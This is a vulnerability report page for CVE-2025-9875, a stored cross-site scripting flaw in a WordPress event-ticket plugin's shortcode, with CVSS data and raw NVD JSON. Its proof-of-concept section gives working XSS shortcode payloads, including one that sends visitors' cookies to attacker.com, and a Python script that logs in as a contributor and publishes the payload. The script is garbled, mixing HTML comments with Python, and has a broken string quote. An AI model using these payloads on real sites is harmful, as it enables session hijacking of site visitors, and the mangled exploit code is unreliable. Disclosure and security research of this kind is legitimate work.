Security Vulnerability Report
中文
CVE-2025-9875 CVSS 6.4 MEDIUM

CVE-2025-9875

Published: 2025-10-03 12:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Event Tickets, RSVPs, Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ticket_spot' shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Event Tickets, RSVPs, Calendar (ticket-spot) <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9875 PoC - Stored XSS via ticket_spot shortcode --> <!-- Attacker needs contributor-level access or above --> <!-- Malicious shortcode payload that can be injected into a WordPress post/page --> [ticket_spot id="1" title=""><img src=x onerror=alert(document.cookie)>"] <!-- Alternative payload using event handler --> [ticket_spot id="1" title="test" description="<script>alert('XSS')</script>"] <!-- More sophisticated payload for cookie stealing --> [ticket_spot id="1" title=""><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] <!-- Python exploit script to demonstrate the vulnerability --> import requests # WordPress site URL and attacker credentials site_url = "http://target-wordpress-site.com" username = "contributor_user" password = "password123" # Login to WordPress session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{site_url}/wp-admin/post-new.php', 'testcookie': '1' } session.post(f'{site_url}/wp-login.php', data=login_data) # Create a new post with malicious shortcode post_data = { 'post_title': 'Test Event', 'post_content': '[ticket_spot id="1" title=""><img src=x onerror=alert(document.cookie)>]", 'post_status': 'publish', 'post_type': 'post' } response = session.post(f'{site_url}/wp-admin/post.php', data=post_data) print(f"Post created: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9875", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:49.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Event Tickets, RSVPs, Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ticket_spot' shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ticket-spot/trunk/ticket-spot.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3371344/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3f507853-8c9f-4308-ad6e-5fbb610158f5?source=cve", "source": "[email protected]"}]}}